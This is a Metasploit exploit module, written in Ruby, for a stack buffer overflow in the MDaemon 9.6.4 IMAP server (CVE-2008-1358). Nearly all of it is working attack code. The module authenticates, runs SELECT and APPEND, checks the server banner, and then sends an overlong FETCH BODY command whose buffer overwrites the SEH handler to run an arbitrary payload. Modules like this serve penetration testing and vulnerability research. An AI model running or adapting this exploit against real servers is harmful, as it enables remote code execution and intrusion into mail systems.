## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli }, 'Author' => [ 'Jacopo Cervini', 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2008-1358' ], [ 'OSVDB', '43111' ], [ 'BID', '28245' ], [ 'EDB', '5248' ] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a])", }, 'Platform' => 'win', 'Targets' => [ [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll ], 'DisclosureDate' => 'Mar 13 2008', 'DefaultTarget' => 0)) end def check connect disconnect if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit connect_login req0="0002 SELECT Inbox\r\n" res = raw_send_recv(req0) if (res and res =~ /0002 OK/) print_status("SELECT command OK") end req1="0003 APPEND Inbox {1}\r\n" res = raw_send_recv(req1) if (res and res =~ /Ready for append literal/) print_status("APPEND command OK") end res = raw_send_recv(rand_text_alpha(20) + "\r\n") if (res and res =~ /APPEND completed/) print_status("APPEND command finished") end buf = rand_text_alpha_upper(528, payload_badchars) buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars) sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n" print_status("Sending payload") sock.put(sploit) handler disconnect end end